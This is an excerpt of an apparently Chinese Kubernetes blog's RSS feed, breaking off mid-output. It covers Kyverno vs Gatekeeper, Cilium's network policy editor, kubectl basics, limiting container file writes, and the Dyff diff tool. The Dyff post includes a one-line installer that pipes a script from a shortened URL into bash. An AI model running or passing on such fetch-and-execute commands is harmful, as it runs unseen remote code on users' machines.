&lt;h3 id=&#34;kyverno-的优势&#34;&gt;Kyverno 的优势&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Kubernetes 风格的策略表达方式，非常易于编写；&lt;/li&gt;
&lt;li&gt;成熟的变异能力；&lt;/li&gt;
&lt;li&gt;独特的生成和同步能力，扩展了应用场景；&lt;/li&gt;
&lt;li&gt;快速交付，场景丰富。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;kyverno-的劣势&#34;&gt;Kyverno 的劣势&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;受到语言能力的限制，难以实现复杂策略；&lt;/li&gt;
&lt;li&gt;较为年轻，社区接受度不高；&lt;/li&gt;
&lt;li&gt;API 对象查询能力还很初级；&lt;/li&gt;
&lt;li&gt;没有高可用能力（还在路线图阶段）。&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;警告：下面的内容是我根据前面的对比表和优势劣势列表，再加上自己对这两个工具的体验，以及在云原生社区的走访，综合起来的意见分析。如果你没有兴趣看我的观点，文章就到此为止了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Kubernetes 是一个声明式的系统：用户向 Kubernetes 提出对状态的要求，Kubernetes 通过各种控制器，去协调观察到的状态，以使其与用户期望的状态一致。这就是云原生平台的核心价值主张。为了实现这一目标，逻辑实现的重任从用户身上转移到了平台本身。每个资源类型都存在一些内部逻辑，这些逻辑就是协调其状态所需的能力。对于 Gatekeeper 来说，到目前为止最大的弱点是它需要一种叫做 Rego 的专门的编程语言来实现这种逻辑，这种语言在其他地方都无法使用。这是一个现实，因为 OPA 是一个通用的策略引擎。只有通过 Gatekeeper 将其改编成 Kubernetes 形式，才能利用其能力。那么实际上，用户负责描述他们希望调和的对象（策略），以及提供必要的逻辑（Rego）来调和它。使用外部 DSL 来管理 Kubernetes 策略，在很多方面都会变得繁琐和复杂，并给项目增加技术债务。作为一种权衡，其明显的优势是可以实现非常强大的策略。毕竟，当一个人需要编写一种编程语言时，他只受限于该语言的能力及其输入。不过，如果可以在其他地方利用 OPA，就可以分摊这种费用。&lt;/p&gt;

&lt;p&gt;相比 Gatekeeper 来说，Kyverno 的第一印象就是没有那么复杂的技术需求。因为它是专门为 Kubernetes 构建的，并且用声明式的方法来表达策略，所以它的心理模型与 Kubernetes 对象的描述和协调方式是相同的。执行策略决策所需的逻辑被从用户的负担中移除，成为工具本身的领域。这种模式导致策略的编写方式得到了极大的简化，全面的降低了策略引擎的使用难度。Kyverno 的编译和生成能力，使它从一个简单的准入控制器转变为一个真正的自动化工具。通过结合这三种能力，再加上最近增加的 API 查询能力，Kyverno 能够执行 Gatekeeper 所不能执行的任务，而且还能够消除可能在整个集群和/或组织中分散使用的其他和不同的工具。这种简单性加上它的自动化能力和对其他工具的整合，为新用户以及有经验的用户和操作者带来了巨大的价值。&lt;/p&gt;

&lt;p&gt;根据所介绍的信息，我认为 Kyverno 应该是应用 Kubernetes 策略的一个比较自然的选择。但如果用户符合下面两个用例中的一种或两种，就更应该选择 Gatekeeper。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;有一种需求和具体意图，使用一致的核心工具将策略应用于组织内不同的系统（即，不仅仅是Kubernetes）。&lt;/p&gt;

&lt;p&gt;反对意见：根据我的经验，无论是在云原生社区内部还是外部，大多数组织目前已经在使用其他工具将策略应用于现有系统。这通常是因为这些系统以及为这些系统实施策略的软件在 Kubernetes 以及 OPA 和 Gatekeeper 之前就已经存在。此外，这些现有工具通常不要求使用编程语言来实现其策略。因此，考虑到现有的知识、运营和资本投资，大多数组织不太可能为了实现工具一致性带来的价值，选择放弃这些工具，转而使用技术负担较重的新工具。&lt;/p&gt;

&lt;p&gt;太长不看：如果你正在寻找一个跨 Kubernetes 和其他系统使用的单一策略引擎，Kyverno 不适合你。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;策略的复杂度很高。&lt;/p&gt;

&lt;p&gt;反对意见：根据我的经验，大多数 Kubernetes 用户都没有使用包括 PSP 在内的任何策略支持。而 2020 年对在 AWS 上运行容器化工作负载的客户的调查也得到了类似的结果，只有 49% 的客户使用策略。这些用户中的绝大多数都在做的是重复的策略——例如“容器不应该有特权”或“确保所有命名空间都带有给定的标签”或“验证 Pods 没有使用 hostPath 卷”等。“复杂”这个词是相对的，有点主观，但这样的策略表达方式绝对不复杂。Kyverno 允许以最简单的形式编写策略，这反过来又更容易推理和维护。如果要为一个更复杂、更困难的工具支付额外的价格，就应该尽量物尽其用，否则无法获得价值。&lt;/p&gt;

&lt;p&gt;太长不看：如果无需实现高度复杂的策略，Gatekeeper 不会带来好处。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;结语&#34;&gt;结语&lt;/h2&gt;

&lt;p&gt;Gatekeeper 和 Kyverno 项目本身都是有价值、有能力的策略引擎，每个项目都有各自的优缺点。最终，用户应该根据自己的需求和限制条件进行评估并做出最明智的决定，但作为一般建议，所有生产用户都应该计划使用策略引擎来保护集群的安全并简化 Kubernetes 管理。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：网络策略可视化编辑器</title>
      <link>/post/introducing-network-policy-editor/</link>
      <pubDate>Fri, 12 Feb 2021 09:05:21 +0800</pubDate>
      <guid>/post/introducing-network-policy-editor/</guid>
      <description>

&lt;h2 id=&#34;引子&#34;&gt;引子&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;跳过本节不影响阅读&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;既然是牛年第一篇，总要写点废话起个头。另外写小工具系列经常面对的一个难题就是——怎样凑够 300 字的原创门槛。&lt;/p&gt;

&lt;p&gt;2020 年有大半年我都在唠叨云原生安全的事情，现在的情况按照我的理解，有点像 2000 年附近的互联网——各种东西都在往新瓶子里装，那时候的新瓶子是互联网，现在的新瓶子是云原生；那时候的旧酒是邮件、留言板、传呼机，现在的旧酒除了这些生活内容之外，多了更多的 ToB/G 的内容；从前的较大规模的公开互联网服务多数是自建自维护的，现在的公开服务则往往会用到大量的公有云、SaaS/PaaS 服务以及第三方交付项目。&lt;/p&gt;

&lt;p&gt;在 Kubernetes 来说：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;推出了 CKS 认证&lt;/li&gt;
&lt;li&gt;OPA 毕业&lt;/li&gt;
&lt;li&gt;Kyverno 进入沙箱&lt;/li&gt;
&lt;li&gt;Redhat 收购 StackRox&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;综上，经过轰轰烈烈的云原生运动之后，安全问题就已经被怼到了我们面前，很多时候一些重点服务一旦遭到破坏，虽说安全相关的黑产已经有了成熟的获利链条；然而在责任方来说，的确可以挤出一句——这不是钱的事儿。&lt;/p&gt;

&lt;h2 id=&#34;正文&#34;&gt;正文&lt;/h2&gt;

&lt;p&gt;言归正传，今天要介绍的是一个&lt;strong&gt;安全相关&lt;/strong&gt;的网络策略&lt;strong&gt;小工具&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;网络策略是 Kubernetes 内置的重要安全机制之一，用它可以轻松地使用 Namespace、Label Selector、CIDR 等方式，限制 Pod 的 Ingress/Egress 访问，相对于 RBAC 来说，这东西其实更贴近传统网络策略的限制方式，但是目前应用还较少，也就显得比较难用了。Cilium 推出的这个可视化编辑器，是个很好的入门工具。&lt;/p&gt;

&lt;p&gt;缺省界面如图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/policy-editor-ui.png&#34; alt=&#34;default&#34; /&gt;&lt;/p&gt;

&lt;p&gt;整个界面分为几个部分：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A：可视化编辑区：区域中可以用点选的方式产生不同的 Ingress Egress 规则。&lt;/li&gt;
&lt;li&gt;B：代码编辑区：交互式编辑区产生的策略变更都会用 YAML 代码的形式反映在该区域，另外左上角还可以通过上传的方式载入现有 YAML 文件，上传的内容也会反向映射回到可视化编辑区中。&lt;/li&gt;
&lt;li&gt;C：该区域是教学区域，下拉菜单中包含了几个常用的策略的相关教学，注意这里的是教学，给出的可能是一个待修复的策略和修复方法，不要直接复制使用。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可视化编辑区分为左中右三个部分：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;1：这里可以定义策略的主体，例如命名空间、名称、策略对应的管理目标（Pod Selector），另外还可以定义 Ingress 和 Egress 的缺省行为，例如缺省 Deny 或者 Allow，这里可以看到，随着策略的变化，相应的连接线颜色会发生变化。&lt;/li&gt;
&lt;li&gt;2：Ingress 区域，管理进入 Pod 的流量，分为集群外、集群内、本命名空间三种配置方法。&lt;/li&gt;
&lt;li&gt;3：Egress 区域，管理从 Pod 发出的流量，和 Ingress 区域一样，分为三种配置。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如新建一个缺省禁止所有其它命名空间访问的策略，只要新建策略，在 1 区点击 &lt;code&gt;Ingress&lt;/code&gt;，将其设为 Default Deny，然后在 2 区点击 &lt;code&gt;In Namespace&lt;/code&gt;，在弹出窗口中选择 &lt;code&gt;Allow from any pod&lt;/code&gt; 即可。最终结果如图所示：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/only-ns-ingress.png&#34; alt=&#34;only-ns&#34; /&gt;&lt;/p&gt;

&lt;p&gt;除了 All 之外，编辑器还支持 namespaceSelector、podSelector 以及集群外 CIDR 等的源头选择。Egress 策略中也包括对目标端口的设置。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;这才能叫可视化吧。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;工具地址：&lt;code&gt;https://editor.cilium.io/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kubernetes Network Policies：&lt;code&gt;https://kubernetes.io/docs/concepts/services-networking/network-policies/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>写给小白的 kubectl 入门</title>
      <link>/post/kubectl-in-5-min/</link>
      <pubDate>Tue, 02 Feb 2021 22:19:49 +0800</pubDate>
      <guid>/post/kubectl-in-5-min/</guid>
      <description>

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;意外又看到不少正在学 Kubernetes 新手。想想本人写过各种自己懂或不懂、信或不信的原理、机制、方法和工具等等各种东西，唯独没写过 kubectl，其实这东西也是值得一写的——比如说去年我才从一线同学的操作里学会用 &lt;code&gt;-A&lt;/code&gt; 代替 &lt;code&gt;--all-namespaces&lt;/code&gt;。理顺 kubectl 的用法，也会对 Kubernetes 的知识体系以及运维工作有很大的帮助。&lt;/p&gt;

&lt;p&gt;对 Kubernetes 稍有了解的读者应该都知道声明式 API 的说法，kubectl 就是一个这种 API 的客户端，所以 kubectl 的主要功能就是用来操作对象的。&lt;/p&gt;

&lt;h2 id=&#34;开局两张图&#34;&gt;开局两张图&lt;/h2&gt;

&lt;p&gt;下图是个常见的使用方式：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kubectl-command.png&#34; alt=&#34;主谓宾&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;其实本来想写主谓宾定状补的，后来想想还得复习一下，算了算了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;一般的 kubectl 使用都是这么个顺序，参数是可以调整位置的，暂且如此就可以了。&lt;/p&gt;

&lt;p&gt;用一个思维导图来归纳一下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/kubectl-mindmap.png&#34; alt=&#34;mindmap&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;动作&#34;&gt;动作&lt;/h2&gt;

&lt;p&gt;在 kubectl 中被称为 &lt;code&gt;command&lt;/code&gt; 也就是命令。使用 &lt;code&gt;kubectl --help&lt;/code&gt; 能看到可用的命令列表：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl --help
kubectl controls the Kubernetes cluster manager.

 Find more information at: https://kubernetes.io/docs/reference/kubectl/overview/

Basic Commands (Beginner):
  create        Create a resource from a file or from stdin.
...
  run           在集群中运行一个指定的镜像
...

Basic Commands (Intermediate):
  explain       查看资源的文档
  get           显示一个或更多 resources
...
Deploy Commands:
  rollout       Manage the rollout of a resource
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到 kubectl 的命令行帮助非常不错，不仅有功能说明、分类，还有难度标识，甚至有部分的中文说明，kubectl 的每个命令都可以用 &lt;code&gt;--help&lt;/code&gt; 查看进一步的帮助说明。&lt;/p&gt;

&lt;p&gt;这里列出了很多可用的命令，按照操作能力，主流命令基本可以分为增删改查（CRUD）四种。&lt;/p&gt;

&lt;h3 id=&#34;c&#34;&gt;C&lt;/h3&gt;

&lt;p&gt;新建命令用于在集群中创建对象，最常用的新建命令应该是 &lt;code&gt;create&lt;/code&gt;、&lt;code&gt;run&lt;/code&gt; 了，&lt;code&gt;create&lt;/code&gt; 能够创建多种对象，而 &lt;code&gt;run&lt;/code&gt; 则主要用来创建 Pod。这两个命令都需要在命令行中使用参数的方式来表达待创建的对象的字段内容，其表达力非常粗糙和有限，并且带有明显的命令式 API 风味，在我的日常工作中已经很少用到这样的命令了。&lt;/p&gt;

&lt;p&gt;但是这种命令往往有个妙用，&lt;code&gt;--dry-run=client&lt;/code&gt;（旧版本中是 &lt;code&gt;--dry-run&lt;/code&gt;），可以在不产生实际操作的情况下，测试命令的输出，加上 &lt;code&gt;-o yaml&lt;/code&gt;，可以帮助输出 YAML 文档。&lt;/p&gt;

&lt;h3 id=&#34;r&#34;&gt;R&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;get&lt;/code&gt; 是最常用的查询指令，用于获取对象列表和基本信息，而 &lt;code&gt;describe&lt;/code&gt; 则用于获取一个对象的详细信息。另外一个常用的读取指令就是 Debug 常用的日志查看指令：&lt;code&gt;kubectl logs&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;u&#34;&gt;U&lt;/h3&gt;

&lt;p&gt;最重要的更新命令可以说是 &lt;code&gt;apply&lt;/code&gt;，&lt;code&gt;edit&lt;/code&gt; 了，&lt;code&gt;patch&lt;/code&gt;、&lt;code&gt;label&lt;/code&gt;、&lt;code&gt;annotation&lt;/code&gt;、&lt;code&gt;scale&lt;/code&gt; 等命令也算常用。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apply&lt;/code&gt; 是把 yaml 提交给 Kubernetes 集群的最常用方式，而 &lt;code&gt;edit&lt;/code&gt; &lt;code&gt;patch&lt;/code&gt; 都是用于修改线上负载的常用手段。&lt;code&gt;label&lt;/code&gt; 和 &lt;code&gt;annotation&lt;/code&gt; 命令则是用于修改对象元数据的，例如标签和注解。&lt;/p&gt;

&lt;h3 id=&#34;d&#34;&gt;D&lt;/h3&gt;

&lt;p&gt;这个没什么好说——&lt;code&gt;delete&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&#34;获取帮助&#34;&gt;获取帮助&lt;/h3&gt;

&lt;p&gt;kubectl 的所有命令、子命令都支持 &lt;code&gt;--help&lt;/code&gt; 参数，可以用这种方式获取帮助。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl options&lt;/code&gt; 命令能够获取 kubectl 的所有全局参数。&lt;/p&gt;

&lt;h3 id=&#34;常用参数&#34;&gt;常用参数&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;-f&lt;/code&gt;：很多指令（不只是 &lt;code&gt;apply&lt;/code&gt; 和 &lt;code&gt;create&lt;/code&gt;）都可以用 &lt;code&gt;-f &amp;lt;文件名&amp;gt;&lt;/code&gt; 的方式进行输入，如果使用管道操作，则可以用参数 &lt;code&gt;-f -&lt;/code&gt; 接收 STDIN 的输入。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;-l&lt;/code&gt;：可以使用各种对象上的标签对操作范围进行过滤，例如 &lt;code&gt;-l app=hello&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;-o&lt;/code&gt;：指定输出格式，这个参数相对复杂，最常用的是 &lt;code&gt;yaml&lt;/code&gt; 或者 &lt;code&gt;json&lt;/code&gt; 用于输出机器报文，还可以用 JSON Path 或者 Go Template 对结果进行处理。&lt;/p&gt;

&lt;h2 id=&#34;对象&#34;&gt;对象&lt;/h2&gt;

&lt;p&gt;对象通常是类型+名称的一个组合，可以用 kubectl 获得当前集群支持的对象类型：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/api-resources.png&#34; alt=&#34;api-resources&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如上图，输出内容包含几个列：名称、简称、API 群组、是否归属命名空间以及对象的 Kind 属性。例如常用的 &lt;code&gt;Deployment&lt;/code&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;名称：Deployment&lt;/li&gt;
&lt;li&gt;简称：Deploy&lt;/li&gt;
&lt;li&gt;API 群组：apps&lt;/li&gt;
&lt;li&gt;归属命名空间：是&lt;/li&gt;
&lt;li&gt;Kind：Deployment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;使用命令 &lt;code&gt;kubectl get deploy&lt;/code&gt;，就能获得当前命名空间中的 &lt;code&gt;Deployment&lt;/code&gt; 对象列表，如果在尾巴上加入 Deployment 的名称，就能得到符合名称要求的 Deployment 对象，&lt;/p&gt;

&lt;h2 id=&#34;schema&#34;&gt;Schema&lt;/h2&gt;

&lt;p&gt;前面提到的 &lt;code&gt;-f&lt;/code&gt; 参数，或者是 &lt;code&gt;get -o yaml&lt;/code&gt;，都要用到具体的对象数据结构，这个结构到底是哪里规定的呢？基本结构可以分为三个部分，以一个 Namespace 为例：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Namespace
metadata:
  name: default
spec:
  finalizers:
  - kubernetes
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;一般会分为四个基础字段：&lt;code&gt;apiVersion&lt;/code&gt;、&lt;code&gt;kind&lt;/code&gt;、&lt;code&gt;metadata&lt;/code&gt;、&lt;code&gt;status&lt;/code&gt; 以及 &lt;code&gt;spec&lt;/code&gt;。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;apiVersion：格式为 &lt;code&gt;&amp;lt;apiGroup&amp;gt;/&amp;lt;apiVersion&amp;gt;&lt;/code&gt;，一个对象的 API Group，可以用前文提到的 &lt;code&gt;api-resources&lt;/code&gt; 命令查到，而版本则可以通过 &lt;code&gt;kubectl api-versions&lt;/code&gt; 查询得到。&lt;/li&gt;
&lt;li&gt;kind：对应 &lt;code&gt;api-resources&lt;/code&gt; 命令输出的字段。&lt;/li&gt;
&lt;li&gt;metadata：元数据，其中包括标签、注解、名称等字段，如果对象是属于命名空间的，也会把命名空间写在这里。&lt;/li&gt;
&lt;li&gt;status：这个字段的内容通常是由 Kubenretes 自动填写的。经常会被省略掉。&lt;/li&gt;
&lt;li&gt;spec：具体的对象内容，可以由几个途径获取其定义结构

&lt;ul&gt;
&lt;li&gt;部分资源可以使用 &lt;code&gt;kubectl explain &amp;lt;对象类别&amp;gt;&lt;/code&gt; 获得解释&lt;/li&gt;
&lt;li&gt;如果该资源在集群中有对象存在，可以使用 &lt;code&gt;kubectl get &amp;lt;对象类别&amp;gt; &amp;lt;对象名称&amp;gt; -o yaml&lt;/code&gt; 的方式获得原文，向其致敬。&lt;/li&gt;
&lt;li&gt;如果前两种方法都没有，就需要去查看 Kubernetes 或者第三方的 API Reference 了。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;最后&#34;&gt;最后&lt;/h2&gt;

&lt;p&gt;看了上面的解释，是不是对 Kubernetes 的控制台操作有点底了？&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>我就要在容器里写文件！</title>
      <link>/post/how-to-writefiles-inside-k8s-container/</link>
      <pubDate>Sun, 31 Jan 2021 00:43:14 +0800</pubDate>
      <guid>/post/how-to-writefiles-inside-k8s-container/</guid>
      <description>

&lt;p&gt;在生产环境上遇到过一个讨厌的事情，有业务应用在容器中写入大量日志，导致磁盘空间爆满，引发了大面积驱逐。这种情况还有个比较烦心的事情就是无从监控，因此也不能用告警解决。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;docker ps --size&lt;/code&gt; 可以凑合试一下。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;虽说提倡使用标准输出来打印日志，通过 Docker 参数控制日志翻转，但是第三方容器的写入很难劝说整改，并且客观存在写入临时文件等的情况，所以还是要想个办法，在受控的情况下进行写入。&lt;/p&gt;

&lt;p&gt;为了防止这种情况的出现，很自然的想出对策——避免容器内的任意写入行为，在 &lt;code&gt;securityContext&lt;/code&gt; 里面加上 &lt;code&gt;readOnlyRootFilesystem: true&lt;/code&gt; 就可以了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  containers:
  - image: dustise/sleep:v0.9.6
    name: sleep
    securityContext:
      readOnlyRootFilesystem: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个容器创建之后，进入容器发现已经无法写入了。要写入文件，必须使用加载卷的方式，才能在指定位置进行写入，限制了卷尺寸，也就限制了文件写入了。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;  containers:
  - image: dustise/sleep:v0.9.6
    name: sleep
    volumeMounts:
    - mountPath: /cache
      name: cache-volume
  volumes:
  - name: cache-volume
    emptyDir:
      sizeLimit: &amp;quot;100Mi&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里我们创建了一个限制尺寸为 100Mi 的卷，然后进入 Pod 尝试写入一个 500M 的文件：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ df -h /cache
Filesystem                Size      Used Available Use% Mounted on
/dev/vda1                98.3G     17.3G     76.8G  18% /cache

$ dd if=/dev/zero of=/cache/data.txt bs=500M count=1
1+0 records in
1+0 records out
$ command terminated with exit code 137
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到这个卷的尺寸并非我们指定的 100M，而是整个数据盘的大小，后面文件成功写入了，但是过几分钟之后，Shell 被踢出，发现 Pod 被驱逐了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods
NAME                     READY   STATUS    RESTARTS   AGE
sleep-68bc88849b-5rwrd   0/1     Evicted   0          7m48s
sleep-68bc88849b-b7wz5   1/1     Running   0          104s

$ kubectl describe po sleep-68bc88849b-5rwrd
...
  Warning  Evicted    2m42s  kubelet            Usage of EmptyDir volume &amp;quot;cache-volume&amp;quot; exceeds the limit &amp;quot;100Mi&amp;quot;.
  Normal   Killing    2m42s  kubelet            Stopping container sleep
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到驱逐原因的确是超出了限制。&lt;/p&gt;

&lt;p&gt;驱逐是个比较慢的过程，可能不太合适，我们知道，emptyDir 还有一种内存的方式，会有改善么？&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;emptyDir:
  sizeLimit: &amp;quot;100Mi&amp;quot;
  medium: &amp;quot;Memory&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;同样测试，发现还是被驱逐了。这种类型的卷是会占用容器的内存限制的（这点在实际应用时一定要注意，防止 emptyDir 挤占业务应用内存），加上 limit 会不会有所好转呢？&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;resources:
  requests:
    memory: &amp;quot;300Mi&amp;quot;
  limits:
    memory: &amp;quot;300Mi&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次进入容器：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ df -h /cache
Filesystem                Size      Used Available Use% Mounted on
tmpfs                     7.7G    100.0M      7.6G   1% /cache

$ dd if=/dev/zero of=/cache/data.txt bs=500M count=1
dd: error writing &#39;/cache/data.txt&#39;: Out of memory
0+1 records in
0+0 records out
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这次的反应速度就很快了，直接被拒绝。&lt;/p&gt;

&lt;p&gt;Limit 这么好用，如果直接限制 &lt;code&gt;Ephemeral Storage&lt;/code&gt; 会不会又能快速反应，又不影响内存占用呢？答案是否定的，这个资源的 Limit 同样是使用驱逐机制实现的。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;1.20 中新增了一个 Feature gate：SizeMemoryBackedVolumes&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;如果放弃内存 emptyDir 的话，hostPath 能满足要求么？&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: PersistentVolume
metadata:
  name: task-pv-volume
  labels:
    type: local
spec:
  storageClassName: manual
  capacity:
    storage: 1Gi
  accessModes:
    - ReadWriteOnce
  hostPath:
    path: &amp;quot;/mnt/data&amp;quot;
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: task-pv-claim
spec:
  storageClassName: manual
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 1Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;申请了一个 1G 的 PVC 之后，再尝试创建文件，很遗憾，最终我在 &lt;code&gt;/mnt/data&lt;/code&gt; 目录下收获了 10G 的文件。甚至也没有驱逐过程，换用 Local Persistent Volume 也没有任何变化。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;Kubernetes 容器中写入文件是一个非常不推荐的操作。两种本地卷都无法达成限制目的。如果没有外部存储设施，仅能通过 emptyDir 实现简单的写入限制，内存类型的会侵占应用内存，而磁盘类型的限制则要依赖于驱逐机制相对迟缓地完成操作。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>介绍一个小工具：Dyff</title>
      <link>/post/kubernetes-toolbox-dyff/</link>
      <pubDate>Sun, 24 Jan 2021 16:07:19 +0800</pubDate>
      <guid>/post/kubernetes-toolbox-dyff/</guid>
      <description>

&lt;p&gt;YAML 工人经常需要对类似的 YAML 进行对比，查看其中的更新或者状态变化，通用的 diff 工具经常是能胜任的，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ diff n1.yaml n2.yaml
...
&amp;lt;       - image: dustise/sleep:v0.9.5
---
&amp;gt;       - image: dustise/sleep:v0.9.6
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;但是如果出现了字段的平移，或者新加了一些元素，结果可能就比较难看了，例如移动几个字段的位置：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ diff n1.yaml n2.yaml
11,13d11
&amp;lt;   progressDeadlineSeconds: 600
&amp;lt;   replicas: 1
&amp;lt;   revisionHistoryLimit: 10
19d16
&amp;lt;       maxSurge: 25%
20a18
&amp;gt;       maxSurge: 25%
21a20,22
&amp;gt;   progressDeadlineSeconds: 500
&amp;gt;   replicas: 1
&amp;gt;   revisionHistoryLimit: 10
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这几个字段发生变化并移位之后，就比较难用肉眼观测具体的有效变更了。这种情况下，Dyff 就可以派上用场了。&lt;/p&gt;

&lt;p&gt;安装很容易，在 macOS 中可以使用 Homebrew 进行安装：&lt;code&gt;brew install homeport/tap/dyff&lt;/code&gt;，Linux 和 macOS 中也可以使用脚本 &lt;code&gt;curl --silent --location https://tinyurl.com/y4qvdl4d |bash&lt;/code&gt; 进行安装。&lt;/p&gt;

&lt;p&gt;官方文档中展示了它的基本子命令 &lt;code&gt;between&lt;/code&gt;：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/dyff-bw-example.png&#34; alt=&#34;between&#34; /&gt;&lt;/p&gt;

&lt;p&gt;如果对一个手写的 yaml 和它的线上版本进行对比，可能会有很麻烦的输出，例如 &lt;code&gt;managedFiled&lt;/code&gt;、&lt;code&gt;status&lt;/code&gt; 等字段：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl get deploy sleep -o yaml | dyff bw sleep.yaml  -
...
+ one map entry added:
  status:
...
metadata
  + six map entries added:
    creationTimestamp: 2021-01-24T07:51:40Z
    generation: 1
    managedFields:
...
spec.template.spec
  + one map entry added:
    securityContext: {}

spec.template.spec.containers.sleep
  + one map entry added:
    resources: {}
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里可以用 &lt;code&gt;krew&lt;/code&gt; 目录中的 &lt;code&gt;neat&lt;/code&gt; 插件进行处理，这个插件能将线上运行对象所输出的 YAML 进行清理，能大大地减少状态字段的干扰，同样也支持管道操作，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl get deploy sleep -o yaml | kubectl neat - |  dyff bw sleep.yaml  -
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样处理一下之后，视野就会清楚很多了。&lt;/p&gt;

&lt;p&gt;除了对比之外，dyff 还支持 yaml 和 json 的互转，加上 neat 的操作可以是这样：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get deploy sleep -o yaml | kubectl neat - | dyff json -
{
  &amp;quot;apiVersion&amp;quot;: &amp;quot;apps/v1&amp;quot;,
  &amp;quot;kind&amp;quot;: &amp;quot;Deployment&amp;quot;,
  &amp;quot;metadata&amp;quot;: {
    &amp;quot;annotations&amp;quot;: {
